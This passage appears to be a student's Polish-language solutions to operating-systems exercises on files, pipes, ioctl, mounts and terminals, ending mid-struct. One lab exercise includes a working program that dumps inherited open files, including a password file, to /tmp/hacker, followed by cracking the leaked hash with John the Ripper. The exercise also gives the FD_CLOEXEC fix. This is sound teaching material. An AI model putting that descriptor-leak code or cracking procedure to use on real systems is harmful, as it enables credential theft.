Systemy operacyjne 2020 - listy zadań 4-6

Lista zadań nr 4

Przed rozwiązywaniem zadań warto się zapoznać z rozdziałem Files and Directories, podrozdziałami 4.1, 4.2, 10.6 z Modern Operating Systems, rozdziałami 3, 4, 5 z APUE oraz z rozdziałami 4, 5, 18 i 44 z Linux Programming Interface.

Zadanie 1

Czemu wywołania read(2) i write(2) nie działają na katalogach? Jakim wywołaniem systemowym można wczytać rekord katalogu (ang. directory entry)? Czy zawartość katalogu jest posortowana? Wyświetl metadane katalogu głównego / przy pomocy polecenia stat, a następnie wyjaśnij z czego wynika podana liczba dowiązań (ang. hard link)?

Katalog jest specjalnym typem pliku, gdyż pozornie nie są powiązane z deskryptorem pliku, a API POSIX używa specjalnego handle'a DIR*. Dlatego też wywołania read(2) i write(2) nie działają na katalogach. Aby wywołać read(2) lub write(2), potrzebujemy ID deskryptora pliku fd, które możemy uzyskać jedną z funkcji:

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

Dzięki takiemu programowi możemy sprawdzić dlaczego odczytanie istniejącego katalogu nie działa, jednak po zmianie nazwy pliku (na istniejący) foo.txt wszystko działa:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

int main() {
    int fd = open("foo", O_RDONLY);
    printf("File descriptor is %d.\n", fd);
    char data[128];

    int n = read(fd, data, 128);
    if (n < 0) {
        printf("Read failure %d\n", errno);
        perror("Cannot read");
    }

    return 0;
}

Wyjściem tego programu będą następujące komunikaty:

File descriptor is 3.
Read failure 21
Cannot read: Is a directory

Aby odczytać katalog, należy użyć funkcji opendir(3) oraz readdir(3).

Rekord katalogu (ang. directory entry) zawiera nazwę pliku i strukturę informacji opisujących atrybuty pliku takie jak typ pliku (plik zwykły, katalog), rozmiar pliku, właściciel pliku, uprawnienia dla pliku, czy datę ostatniej modyfikacji. Używając stat można wczytać strukturę informacji zawierającą wszystkie atrybuty (inaczej metadane) pliku/katalogu. Przykładowe wywołanie:

$ stat vmtranslator.py 
  File: vmtranslator.py
  Size: 256       	Blocks: 8          IO Block: 4096   regular file
Device: 814h/2068d	Inode: 3686260     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/     two)   Gid: ( 1000/     two)
Access: 2020-11-03 05:44:55.489003710 +0100
Modify: 2020-06-13 00:22:52.411021367 +0200
Change: 2020-06-13 00:22:52.411021367 +0200
 Birth: -

Aby sprawdzić czy zawratość katalogu jest posortowana, można użyć ls -U, dzięki czemu wylistowane zostaną rekordy w kolejności katalogu.

Metadane katalogu głównego /:

$ stat /              
  File: /
  Size: 4096      	Blocks: 8          IO Block: 4096   directory
Device: 814h/2068d	Inode: 2           Links: 20
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2020-11-03 05:16:53.071792129 +0100
Modify: 2020-10-03 21:54:35.886145912 +0200
Change: 2020-10-03 21:54:35.886145912 +0200
 Birth: -

Wynika z tego, że katalog / zawiera 20 twardych dowiązań (ang. hard links), które tworzą nową nazwę dla danego zasobu i zapisują ją w nowej lokalizacji (nie kasując poprzedniej), a same dowiązania nie odwołują się do samego katalogu, lecz do jego zawartości. Inną definicją dowiązania twardego jest liczba wskaźników na inode'y plików, które wliczają się do licznika referencji do pliku. Po wywołaniu ls -al zostaną wylistowane wszystkie katalogi i linki:

Nas głównie interesować będą katalogi zaznaczone ciemnym niebieskim, tzn. ., .., boot, .cache, dev, etc, home, lost+found, media, mnt, opt, proc, root, run, snap, srv, sys, usr, var oraz tmp. Po zliczeniu ich wyjaśnia się liczba dowiązań, których jest 20. W każdym z tych katalogów jest stworzony hard link do katalogu .., którym w tym przypadku jest /.

Zadanie 2

Rura pipe(7) to jednokierunkowe narzędzie do komunikacji międzyprocesowej. Co robi operacja read(2) i write(2), jeśli bufor rury jest odpowiednio pusty albo pełny? Rozważamy wiele procesów piszących do tej samej rury wiersze tekstu nie dłuższe niż PIPE_BUF – co to znaczy, że zapisy są atomowe? Co się stanie, jeśli zostanie zamknięty jeden z końców rury? Kiedy operacje read i write na rurze zwracają „short count”? Czy można połączyć rodzica i dziecko rurą, która została utworzona po uruchomieniu dziecka?

Jednokierunkowość pipe'a oznacza, że kanał komunikacji odbywa się tylko w jednym kierunku na takiej zasadzie: tworzony jest deskryptor pliku dla tasku piszącego do pipe'a, a następnie wyjście tego taska jest przetwarzane drugim taskiem (z drugim deskryptorem pliku), nigdy odwrotnie. Oznacza to więc, że wyjście jednego programu przekazywane jest do wejścia kolejnego.

Wszystkie programy uruchomione przez pipe'a są wykonywane jednocześnie, jednak mogą one zostać wstrzymane jeśli proces próbuje czytać z pustego pipe'a, wtedy read będzie blokowany, dopóki dane nie będą dostępne, a jeśli proces próbuje pisać do pełnego pipe'a, wtedy write będzie blokowany do momentu przeczytania części danych, dzięki czemu umożliwione będzie kontynuowanie działania write.

W nagłówku <limits.h> zdefiniowana jest stała PIPE_BUF, która oznacza ilość bajtów mogących zostać zapisanych w jednej operacji. Atomowość zapisów mówi o tym, że operacja nie jest w żaden sposób zakłócana i jest wykonywana jednorazowo w całości, zagwarantowana jest atomowość dla zapisów do maksymalnie PIPE_BUF bajtów.

Pipe ma określoną, limitowaną pojemność. Jeśli jest on pełny, to write może zostać zablokowany lub zakończy się niepowodzeniem (w zależności od ustawienia flago O_NONBLOCK).

Operacje write i read mogą zwrócić "short count" (mniejszy return value nbyte niż oczekiwany), gdy np. dysk został zapełniony (przy write), jest dostępne mniej bajtów, gdyż jesteśmy blisko EOF lub w trakcie czytania z pipe'a lub terminala, lub gdy wysłany został sygnał przerwania (read). W naszym przypadku, tzn. przy pracy z pipem może zostać zwrócony short count, gdy dostępne jest mniej niż nbyte bajtów do czytania.

Rodzica i dziecka nie można połączyć pipem utworzonym po uruchomieniu dziecka, mówi o tym ten fragment The Linux Programming Interface:

Pipes can be used for communication between any two (or more) related processes, as long as the pipe was created by a common ancestor before the series of fork() calls that led to the existence of the processes.

Jako że dziecko powstaje najpierw (w naszym przypadku), takie połączenie dziecka i rodzica pipem nie jest możliwe.

Zadanie 3

Uruchamiamy w powłoce potok (ang. pipeline) ps -ef | grep sh | wc -l > cnt. Po zakończeniu działania polecenia do powłoki zostanie przekazany kod wyjścia ostatniego procesu w potoku. Uzasadnij kolejność tworzenia procesów potoku posługując się obrazem 9.10 z rozdziału „Shell Execution of Programs” (APUE). Wskaż które procesy i w jakiej kolejności będą wołały: creat(2), dup2(2), pipe(2), close(2), waitpid(2), fork(2), execve(2). Co jeśli jedno z wywołań execve zawiedzie?

Potok to przekierowanie wyjścia jednego programu na wejście do innego programu.

Obrazek 9.10 z rozdziału „Shell Execution of Programs” (APUE), polecenie ps | cat1 | cat2:

Dostosowane polecenia do naszego wywołania ps -ef | grep sh | wc -l > cnt:

Ostatni proces w potoku jest dzieckiem powłoki i wszystkie inne procesy są dziećmi ostatniego procesu, dzieje się tak z tego powodu, że ostatni proces jest dzieckiem powłoki, a powłoka ma dostęp do informacji, że działanie całego potoku zakończyło się.

Kolejność wywołań (na podstawie tej notatki):

1. Powłoka sh (949) wywołuje fork, powstaje dziecko sh (1988).
2. Wywoływany jest dwa razy pipe w sh (1988).
3. sh (1988) wywołuje dwukrotnie fork, powstają kolejne dzieci sh (1989) i sh (1990). W każdym dziecku przy użyciu dup2 zmieniane jest wejście pipe'a na stdout, a wyjście jest zamykane przez close. W rodzicu (sh (1988)) wyjście pipe'a ustawiane jest na stdin przy użyciu dup2, a wejście jest zamykane przez close.
4. Na tak przygotowanych procesach (1989 i 1990) uruchamiane są kolejno przez execve programy ps -ef oraz grep sh.
5. W sh (1988) wywoływane jest polecenie creat do stworzenia pliku wyjściowego cnt, cnt jest ustawiane na stdout a następnie wykonywane jest polecenie execve z argumentem wc -l (1988).
6. Na końcu, po wykonaniu powyższych poleceń zostanie wykonany waitpid.

Obsługa niepowodzenia w execve należy do programisty, jedną z możliwości jest zakończenie działania programu. Ominięcie jednego niepowodzenia przyniosłoby nieoczekiwane rezultaty, zakładając że nie zadziała np. ps -ef, na wejściu grep sh nie będzie nic, przez co cały pipeline się zawiesi. Warto wiedzieć o tym, że przez setpgrp(2) ustawiana jest cała grupa procesów, dzięki czemu przy niepowodzeniu można łatwo wysłać sygnał do wszystkich procesów i je zakończyć.

Zadanie 4

Zapoznaj się z krytyką interfejsu plików przedstawioną w podrozdziale „ioctl and fcntl Are an Embarrassment”. Do czego służy wywołanie systemowe ioctl(2)? Zauważ, że stosowane jest głównie do plików urządzeń znakowych lub blokowych. Na podstawie pliku ioccom.h wyjaśnij znaczenie drugiego i trzeciego parametru wywołania ioctl. Używając przeglądarki kodu jądra NetBSD znajdź definicje operacji DIOCEJECT, KIOCTYPE i SIOCGIFCONF, a następnie wytłumacz co one robią.

Wywołanie systemowe ioctl() (input/output control) to wywołanie systemowe do specyficznych dla danego urządzenia operacji I/O i innych operacji, których nie można wyrazić zwykłymi syscallami. Funkcja ta wygląda następująco:

int ioctl(int fd, unsigned long request, ...);

fd jest otwartym deskryptorem pliku, a request to zależny od urządzenia kod żądania (danej operacji) - koduje on informację o tym, czy argument jest parametrem wejściowym czy wyjściowym i rozmiar kolejnego argumentu argp w bajtach, trzecim parametrem jest nietypowany wskaźnik do pamięci, zwykle char *argp, zanim void* było poprawne w C.

Urządzenie znakowe służy do odczytywania/zapisywania danych z/do urządzenia znak po znaku. Z zasady nie są buforowane i służą do komunikacji o charakterze strumieniowym. Są to między innymi wszelkie konsole /dev/tty0, /dev/tty1, wirtualne konsole /dev/pts/0, /dev/pts/1, modemy, myszki, pamięć RAM, generatory liczb pseudolosowych, generator zer czy "czarna dziura" (/dev/null).

Urządzenie blokowe pozwala na odczytywanie/zapisywanie danych blokami, czyli większymi grupami bajtów mającymi postać: sektorów, kilobajtów czy klastrów. W większości przypadków konieczność operowania na blokach wymuszona jest logiczną budową urządzenia. Są to między innymi dyski /dev/hda, /dev/sdb, partycje, dyskietki, pętle zwrotne.

W nxr.netbsd.org można podejrzeć kod jądra NetBSD i znaleźć definicje różnych operacji:

• DIOCEJECT (ang. eject removable disk) - wysuwa dysk wymienny
• KIOCTYPE (ang. get keyboard type) - zwraca typ klawiatury:
  • KB_SUN3 - Sun Type 3 keyboard
  • KB_SUN4 - Sun Type 4 keyboard
  • KB_ASCII - ASCII terminal masquerading as keyboard
  • KB_PC - Type 101 PC keyboard
  • KB_USB - USB keyboard
• SIOCGIFCONF (ang. get ifnet list) - zwraca listę ifnet, czyli interfejsów jądra do zarządzania sieciami

Zadanie 5

Intencją autora poniższego kodu było użycie plików jako blokad międzyprocesowych. Istnienie pliku o podanej nazwie w systemie plików oznacza, że blokada została założona. Brak tegoż pliku, że blokadę można założyć. Niestety w poniższym kodzie jest błąd TOCTTOU, który opisano również w §39.17. Zlokalizuj w poniższym kodzie wyścig i napraw go! Opowiedz jakie zagrożenia niesie ze sobą taki błąd.

#include "csapp.h"

bool f_lock(const char *path) {
    if (access(path, F_OK) == 0)
        return false;
    (void)Open(path, O_CREAT|O_WRONLY, 0700);
    return true;
}

void f_unlock(const char *path) {
    Unlink(path);
}

Wskazówka: przeczytaj komentarze do flagi O_CREAT w podręczniku do open(2).

W tym kodzie wyścig znajduje się pomiędzy wywołaniem access() a Open(), gdyż w czasie pomiędzy wywołaniami inny proces może otworzyć plik, przez co oba procesy otrzymają blokadę. Aby tego uniknąć, należy zmienić implementację funkcji f_lock na bardziej "jednolitą", tzn. korzystającą tylko z jednej operacji, tak jak niżej:

bool f_lock(const char *path) {
    return Open(path, O_CREAT | O_EXCL | O_WRONLY, 0700) >= 0;
}

Dodanie flagi O_EXCL obok O_CREAT sprawia, że Open() nie powiedzie się jeśli ścieżka path już istnieje, a uzyskanym błędem będzie EEXIST.

Błąd Time of Check To Time of Use (TOCTTOU) umożliwia atakującemu ominięcie sprawdzania poprawności operacji poprzez celową zmianę danych w momencie gdy program znajduje się pomiędzy ich sprawdzeniem a wykonaniem operacji. Za przykład może posłużyć ten artykuł, w którym opisano usługę poczty elektronicznej działającej jako root. Otrzymane wiadomości dodaje do pliku skrzynki odbiorczej użytkownika poleceniem lstat() w celu uzyskania informacji o tym, czy jest to normalny plik, którego właścicielem jest użytkownik (a nie na link do innego pliku, którego serwer nie powinien uaktualniać) a następnie, jeśli test się powiedzie, aktualizuje plik z nowymi wiadomościami. Przerwa pomiędzy sprawdzeniem a zapisem może zostać wykorzystana przez atakującego, który może podmienić swoją skrzynkę odbiorczą na inny plik, np. /etc/passwd (mimo że tutaj już haseł się nie przetrzymuje). Jeżeli taka zmiana nastąpiłaby w idealnym momencie, to atakujący mógłby zapisać coś do wrażliwego pliku, np. dodać konto z uprawnieniami root'a do tego pliku.

Słabość TOCTTOU może występować zawsze wtedy, gdy atakujący ma wpływ na stan obiektu lub zasobu pomiędzy sprawdzeniem jego stanu, a jego użyciem. Występować to może w przypadku systemu plików, pamięci, a nawet zmiennych w wielowątkowych programach.

Zadanie 6

Program leaky symuluje aplikację, która posiada dostęp do danych wrażliwych. Pod deskryptorem pliku o nieustalonym numerze kryje się otwarty plik mypasswd. W wyniku normalnego działania leaky uruchamia zewnętrzny program innocent dostarczony przez złośliwego użytkownika.

Uzupełnij kod programu innocent, aby przeszukał otwarte deskryptory plików, a następnie przepisał zawartość otwartych plików do pliku /tmp/hacker. Zauważ, że pliki zwykłe posiadają kursor. Do pliku wyjściowego należy wpisać również numer deskryptora pliku i ścieżkę do pliku, tak jak na poniższym wydruku:

File descriptor 826 is ’/home/cahir/lista_4/mypasswd’ file!
cahir:...:0:0:Krystian Baclawski:/home/cahir:/bin/bash

Żeby odnaleźć nazwę pliku należy wykorzystać zawartość katalogu /proc/self/fd opisaną w procfs(5). Potrzebujesz odczytać plik docelowy odpowiedniego dowiązania symbolicznego przy pomocy readlink(2).

Następnie napraw program leaky – zakładamy, że nie może on zamknąć pliku z wrażliwymi danymi. Wykorzystaj fcntl(2) do ustawienia odpowiedniej flagi deskryptora wymienionej w open(2). Zainstaluj pakiet john (John The Ripper). Następnie złam hasło znajdujące się pliku, który wyciekł w wyniku podatności pozostawionej przez programistę, który nie przeczytał uważnie podręcznika do execve(2).

Wskazówka: Procedura dprintf drukuje korzystając z deskryptora pliku, a nie struktury FILE.

Kursor to aktualne przesunięcie w pliku względem jego początku, jest to miejsce od którego następuje odczyt/zapis.

Dowiązanie symboliczne (ang. symbolic link, symlink) to specjalny rodzaj pliku w systemach plików. Wskazuje on, odwołując się za pomocą nazwy, na dowolny inny plik lub katalog (który może nawet w danej chwili nie istnieć). Odwołanie jest niewidoczne na poziomie aplikacji, tzn. jest traktowane jak zwykły plik lub katalog.

/* innocent.c */
#include "csapp.h"

int main(void) {
    long max_fd = sysconf(_SC_OPEN_MAX);
    int out = Open("/tmp/hacker", O_CREAT | O_APPEND | O_WRONLY, 0666);

    /* TODO: Something is missing here! */
    // Ustawiamy rozmiar bufora, w link bedziemy przechowywać plik
    // docelowy dowiązania symbolicznego, a w path jego ścieżkę.
    const int buf_size = 1024;
    char link[buf_size];
    char path[buf_size];

    // Przeszukujemy wszystkie dostępne deskryptory (max_fd wyżej)
    for (int i = 0; i < max_fd; i++) {
        // Przesuwamy offset w deskryptorze pliku o id i, jeśli to się
        // powiedzie to return value >=0 (ustawione przesunięcie
        // liczone w bajtach od początku pliku).
        if (lseek(i, 0, 0) >= 0) {
            // Do link przypisujemy ścieżkę deskryptora
            snprintf(link, buf_size, "/proc/self/fd/%d", i);

            // Plik docelowy czytamy przez readlink(2)
            int path_len;
            if ((path_len = Readlink(link, path, buf_size)) < 0) {
                fprintf(stderr, "Readlink failure!");
                exit(1);
            }
            
            // I do deskryptora out (plik /tmp/hacker) dopisujemy
            // numer deskryptora i oraz ścieżkę pliku.
            path[path_len] = '\0';
            dprintf(out, "File descriptor %d is '%s' file!\n", i, path);

            // Na koniec zmiany zapisujemy do bufora:
            int total_count = 0;
            int read_count;
            char buf[4096];

            while ((read_count = read(i, buf, 4096)) > 0) {
                Write(out, buf, read_count);
                total_count += read_count;
            }

            lseek(i, -total_count, 0);
        }
    }

    Close(out);

    printf("I'm just a normal executable you use on daily basis!\n");

    return 0;
}

Po uruchomieniu ./leaky bez zmiany wykonanej poniżej, otrzymamy na wyjściu listę wszystkich otwartych deskryptorów plików wraz ze ścieżkami, stąd wiemy, że hasło znajduje się w pliku mypasswd i możemy je złamać Johnem.

File descriptor 3 is '/tmp/hacker' file!
File descriptor 956 is '/home/two/Desktop/Kursy-UWr/Systemy operacyjne/lista_4/mypasswd' file!
cahir:tQkrCdv1bf6aU:0:0:Krystian Baclawski:/home/cahir:/bin/bash

Aby złamać hasło, należy wywołać john mypasswd, a następnie złamane hasło możemy wyświelić poleceniem john mypasswd --show. Powinniśmy ujrzeć takie wyjście:

$ john mypasswd           
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 256/256 AVX2])
No password hashes left to crack (see FAQ)
$ john mypasswd --show
cahir:cirilla:0:0:Krystian Baclawski:/home/cahir:/bin/bash

1 password hash cracked, 0 left

Po naprawieniu pliku leaky.c powinien on wyglądać tak jak poniżej.

/* leaky.c */
#include "csapp.h"

int main(int argc, char **argv) {
    long max_fd = sysconf(_SC_OPEN_MAX);

    /* Initialize PRNG seed. */
    struct timeval tv;
    gettimeofday(&tv, NULL);
    srandom(tv.tv_usec);

    /* This opens a file with password that is checked later. */
    int fd_1 = Open("mypasswd", O_RDONLY, 0);
    int fd_2 = 3 + random() % (max_fd - 3);
    (void)Dup2(fd_1, fd_2);
    Close(fd_1);
    Lseek(fd_2, 0, SEEK_END);

    /* TODO: Something is missing here to fix the issue! */
    // Manipulujemy deskryptorem pliku fd_2, flagą F_SETFD ustawiamy
    // flagi deskryptora na te, które ustawi wartość ostatniego
    // argumentu (FD_CLOEXEC). Ostatnia flaga oznacza, że deskryptor
    // zamknie się automatycznie przy pomyślnym wywołaniu execve,
    // a w tym przypadku jest to wywołanie programu ./innocent.
    fcntl(fd_2, F_SETFD, FD_CLOEXEC);  

    /* Let's suppose a user typed in correct password and was allowed 
     * to execute a command and they choose to run our program. */
    int rc = system("./innocent");
    if (rc < 0)
        unix_error("System error");

    /* At this point we may finally close the file. */
    Close(fd_2);

    return rc;
}

Zadanie 7

Program primes używa Sita Eratostenesa do obliczania liczb pierwszych z przedziału od

$2$ do

$10000$. Proces główny tworzy dwóch potomków wykonujących procedurę generator i filter_chain, spiętych rurą gen_pipe. Pierwszy podproces wpisuje do rury kolejne liczby z zadanego przedziału. Drugi podproces tworzy łańcuch procesów filtrów, z których każdy jest spięty rurą ze swoim poprzednikiem. Procesy w łańcuchu powstają w wyniku obliczania kolejnych liczb pierwszych. Każdy nowy filtr najpierw wczytuje liczbę pierwszą

$p$ od poprzednika, po czym drukuje ją, a następnie kopiuje kolejne liczby z poprzednika do następnika za wyjątkiem liczb podzielnych przez

$p$.

Program musi poprawnie działać dla argumentu

$10000$ – w tym przypadku powinno zostać utworzonych

$1229+2$ podprocesów.

Uwaga! Rozwiązania, które nie zapewniają pochówku umarłym dzieciom lub nie dbają o zamykanie nieużywanych końców rur, są uważane za błędne. Będziemy to sprawdzać poleceniem ps i lsof.

static noreturn void filter_chain(pipe_t in)
{
   long prime;
   /* TODO: Something is missing here! */
   int c = ReadNum(in, &prime);
   if(c==0)
      exit(EXIT_SUCCESS);

   printf("%ld\n", prime);

   pipe_t out = MakePipe();
   if (Fork())
   { /* parent */
      CloseWriteEnd(out);
      CloseReadEnd(in);
      filter_chain(out);
      Wait(NULL);
   }
   else
   { /* child */
      CloseReadEnd(out);
      filter(in, out, prime);
   }

   exit(EXIT_SUCCESS);
}

Lista zadań nr 5

Przed rozwiązywaniem zadań warto się zapoznać z podrozdziałami 4.1, 4.2, 10.6 z Modern Operating Systems, podrozdziałami 3.15, 4.14 - 4.18, 17.2 z APUE oraz z rozdziałem 62 z Linux Programming Interface.

Zadanie 1

Wyjaśnij czym są punkty montażowe, a następnie wyświetl listę zamontowanych systemów plików. Które z nich przechowują dane w pamięci stałej komputera? Na podstawie mount(8) wyjaśnij znaczenie następujących atrybutów punktów montażowych: noatime, noexec i sync, a następnie podaj scenariusz, w którym ich zastosowanie jest pożądane.

Wskazówka: Rozważ semantykę wymienionych atrybutów w kontekście systemu plików na przenośnym dysku USB.

Punkty montażowe definiują miejsce wybranego zbioru danych w systemie plików, wszystkie partycje są do nich "przypięte". Zwykle partycje są połączone przez partycję root /. Za pomocą polecenia df -h, mount lub findmnt można wyświetlić listę wszystkich zamontowanych systemów plików, poniżej wydruk df -h:

Filesystem      Size  Used Avail Use% Mounted on
udev            7.8G     0  7.8G   0% /dev
tmpfs           1.6G   18M  1.6G   2% /run
/dev/sdb4       118G   41G   72G  37% /
tmpfs           7.8G  599M  7.2G   8% /dev/shm
tmpfs           5.0M  4.0K  5.0M   1% /run/lock
tmpfs           7.8G     0  7.8G   0% /sys/fs/cgroup
/dev/loop0      356M  356M     0 100% /snap/pycharm-community/214
/dev/loop2       98M   98M     0 100% /snap/core/10185
/dev/loop1       98M   98M     0 100% /snap/core/10126
/dev/loop3      355M  355M     0 100% /snap/pycharm-community/211
/dev/loop4       53M   53M     0 100% /snap/john-the-ripper/297
/dev/sdb3       512M  5.1M  507M   1% /boot/efi
tmpfs           1.6G   24K  1.6G   1% /run/user/118
tmpfs           1.6G   60K  1.6G   1% /run/user/1000

Dane w pamięci stałej komputera są przechowywane we wszystkich partycjach, które mają inny system plików niż tmpfs (ang. temporary files) - te pliki są przechowywane w RAMie. Oprócz tmpfs, są to proc, sysfs, devpts, sun_rpc oraz gvfs-fuse-daemon, tzn. pliki w wirtualnych systemach plików, a nie fizycznych.

Aby podłączyć urządzenie, należy użyć polecenia:

$ mount -t [typ systemu plików] /dev/[urządzenie] /mnt/[jakiś katalog]

gdzie typ systemu plików wraz z flagą -t można pominąć, gdyż jest on rozpoznawany automatycznie, a urządzenie USB oznaczane jest jako sda. Partycje są montowane zazwyczaj automatycznie podczas uruchamiania systemu operacyjnego.

Atrybuty punktów montażowych są przechowywane w pliku /proc/mounts. Część z nich to:

• noatime oznacza brak aktualizacji czasów dostępu (Accessze stat) do inode'ów w tym systemie plików (np. dla szybkiego dostępu do nowych informacji z usenetu w celu przyspieszenia działania serwerów). Flaga ta działa dla wszystkich typów plików, również dla katalogów, więc implikuje nodiratime.
• noexec nie zezwala na bezpośrednie uruchomienie plików w tym systemie plików. Użycie tej flagi zmniejsza podatność na stanie się ofiarą jakiegoś skryptu.
• sync mówi o tym, że wszystkie operacje I/O powinny być wykonywane synchronicznie, jednak w przypadku urządzeń z ograniczoną liczbą cykli zapisów (część dysków USB), sync może powodować skrócenie żywotności. Oznacza to, że zmiany są fizycznie zapisywane na urządzeniu w tym samym czasie, gdy wywołamy np. kopiowanie.

Zadanie 2

W systemach uniksowych katalog to ciąg bajtów reprezentujący listy rekordów dirent(3). Na podstawie §10.6.3 (rysunek 10-32) przedstaw reprezentację katalogu, a następnie wyjaśnij jak przebiegają operacje usuwania i dodawania pliku. W pierwszym przypadku rozważ scenariusz, w którym w reprezentacji katalogu za lub przed usuwanym wpisem istnieją nieużytki. W drugim, kiedy w pliku katalogu nie udaje się znaleźć wystarczająco dużo miejsca na przechowanie wpisu. Jądro leniwie wykonuje operację kompaktowania na katalogach – kiedy opłaca się ją zrobić?

Reprezentacja katalogu w systemach UNIX:

Nieużytek to nieużywany fragment reprezentacji katalogu - rozmiar wpisu, po którym występuje nieużytek jest większy niż nazwa pliku.

Kompaktowanie to operacja, która zmniejsza rozmiar katalogu - usuwane są nieużytki, "uklepujemy" katalog. Opłąca się ją robić, gdy wiadomo, że w danym katalogu jest dużo nieużytków, czyli zystamy na tej operacji dużo miejsca.

Dodawanie pliku: Trzeba przejrzeć cały katalog, żeby sprawdzić, czy jest dany plik w tym katalogu. Jeśli nie ma miejsca, wykonywane jest kompaktowanie.

Usuwanie pliku: Przegląda się cały katolog, żeby wiedzieć, czy jest plik. Po usunięciu pliku miejsce, gdzie był ten plik staje się nieużytkiem, pliki nie są od razu przesuwane, lecz przestawiany jest wskaźnik przy poprzednim pliku (entry size).

Zadanie 3

Korzystając z poleceń stat i ls -lia zaprezentuj jak jądro systemu operacyjnego trawersuje ścieżkę bezwzględną /usr/share/man/man1/ls.1. Od jakiego numeru i-węzła (ang. i-node) algorytm zaczyna działanie? Skąd sterownik uniksowego systemu plików wie gdzie na dysku znajduje się

$i$-ty bajt pliku? Próba utworzenia dowiązania do pliku /proc/version kończy się błędem EXDEV. Czemu nie możemy tworzyć dowiązań do plików znajdujących się w obrębie innych zamontowanych systemów plików?

Ścieżka bezwzględna to ścieżka zaczynająca się od katalogu /.

i-node to struktura przechowująca metadane pliku. Zawiera on wskaźniki na bloki danych oraz bloki pośrednie, zależnie od wielkości pliku.

Wydruk polecenia stat /usr/share/man/man1/ls.1.gz:

  File: /usr/share/man/man1/ls.1.gz
  Size: 3190      	Blocks: 8          IO Block: 4096   regular file
Device: 814h/2068d	Inode: 6294749     Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2020-11-11 12:07:22.142164194 +0100
Modify: 2019-02-28 16:30:31.000000000 +0100
Change: 2020-05-29 13:06:16.973078530 +0200
 Birth: -

Algorytm trawersuje od i-node'a nr 2, gdyż jest to numer katalogu /.

Dowiązania są częścią systemu plików, a system zamontowany może mieć inny sposób przechowywania ich. Dowiązania są zawsze tworzone do i-node'a, który nie jest dzielony między różnymi systemami plików. W dwóch systemach plików możemy mieć dwa pliki o tym samym numerze i-node.

Nie możemy tworzyć dowiązań do innych zamomtowanych systemów plików, aby licznik zawierał informacje o dowiązaniach w obrębie systemu plików, i aby nie doszło do sytuacji, gdy po utworzeniu dowiązania i odłączeniu systemu plików, dane z niego nie zostaną nigdy usunięte nawet po zniszczeniu wszystkich lokalnych dowiązań (licznik nadal byłby większy od 1).

Zadanie 4

W bieżącej wersji biblioteki libcsapp znajduje się plik terminal.c. Przeczytaj pierwsze dwa podrozdziały §62, a następnie zreferuj działanie procedury tty_curpos odczytującej pozycję kursora terminala. Do czego służy kod sterujący CPR opisany w Terminal output sequences? Posiłkując się tty_ioctl(4) wytłumacz semantykę rozkazów TCGETS i TCSETSW, wykorzystywanych odpowiednio przez tcgetattr(3) i tcsetattr(3), oraz TIOCINQ i TIOCSTI. Na podstawie termios(4) wyjaśnij jak flagi ECHO, ICANON, CREAD wpływają na działanie sterownika terminala.

void tty_curpos(int fd, int *x, int *y)
{
  // termios, old termios
  struct termios ts, ots;

  // ts = tcgetattr()
  tcgetattr(fd, &ts);
  // ots = ts
  memcpy(&ots, &ts, sizeof(struct termios));
  // Wyłączamy ECHO, ICANON i CREAD.
  // ECHO - pokazuj użytkownikowi wprowadzane znaki.
  // ICANON - obsługa znaków specjalnych.
  // CREAD - odbieraj nowe dane (zdaniem dokumentacji FreeBSD bezużyteczne).
  ts.c_lflag &= ~(ECHO | ICANON | CREAD);
  // TCSADRAIN - zmiany nie dotyczą danych w buforze.
  // TCSAFLUSH - zmiany nie dotyczą bufora, niezatwierdzone wejście
  //             jest usuwane.
  tcsetattr(fd, TCSADRAIN, &ts);

  /* How many characters in the input queue. */
  int m = 0;
  // FIONREAD == TIOCINQ - Get the number of bytes in the input buffer.
  ioctl(fd, TIOCINQ, &m);

  /* Read them all. */
  // Wczytujemy zawartość bufora wejścia w jądrze (czyszcząc go).
  char discarded[m];
  m = Read(fd, discarded, m);

  // CPR Cursor Position Report (również Device Status Report).
  // Sterownik terminala wypisze aplikacji `ESC[n;mR`, gdzie
  // n - rząd, m - kolumna. Zapisujemy to w buf.
  Write(fd, CPR(), sizeof(CPR()));
  char buf[20];
  int n = Read(fd, buf, 19);
  buf[n] = '\0';

  // Włączamy ICANON i wypełniamy z powrotem bufor wejścia.
  ts.c_lflag |= ICANON;
  tcsetattr(fd, TCSADRAIN, &ts);
  for (int i = 0; i < m; i++)
    // TIOCSTI - Insert the given byte in the input queue. (Faking input)
    ioctl(fd, TIOCSTI, discarded + i);

  // Przywracamy stary stan termios (ECHO, CREAD).
  tcsetattr(fd, TCSADRAIN, &ots);
  // Czytamy CPR.
  sscanf(buf, "\033[%d;%dR", x, y);
}

Zadanie 5

Uruchom program mkholes, a następnie odczytaj metadane pliku holes.bin przy pomocy polecenia stat(1). Wszystkie pola struktury stat są opisane w stat(2). Oblicz faktyczną objętość pliku na podstawie liczby używanych bloków st_blocks i rozmiaru pojedynczego bloku st_blksize systemu pliku. Czemu liczba używanych bloków jest mniejsza od tej wynikającej z objętości pliku z pola st_size? Czemu jest większa od liczby faktycznie używanych bloków zgłaszanych przez mkholes?

Wskazówka: O dziurach w plikach (ang. holes) można przeczytać w rozdziale 3.6 APUE.

Dziura w pliku powstaje gdy offset pliku jest większy niż jego rozmiar, po czym następuje wywołanie write, które powiększa plik, a wszystkie niezapisane bajty są ustawiane na 0.

Polecenie stat holes.bin zwraca następujące metadane:

  File: holes.bin
  Size: 33550336  	Blocks: 1112       IO Block: 4096   regular file
Device: 814h/2068d	Inode: 4993816     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/     two)   Gid: ( 1000/     two)
Access: 2020-11-11 11:32:12.330489315 +0100
Modify: 2020-11-11 11:32:12.350489294 +0100
Change: 2020-11-11 11:32:12.350489294 +0100
 Birth: -

Pola struktury stat są następujące:

struct stat {
    dev_t     st_dev;         /* ID of device containing file */
    ino_t     st_ino;         /* Inode number */
    mode_t    st_mode;        /* File type and mode */
    nlink_t   st_nlink;       /* Number of hard links */
    uid_t     st_uid;         /* User ID of owner */
    gid_t     st_gid;         /* Group ID of owner */
    dev_t     st_rdev;        /* Device ID (if special file) */
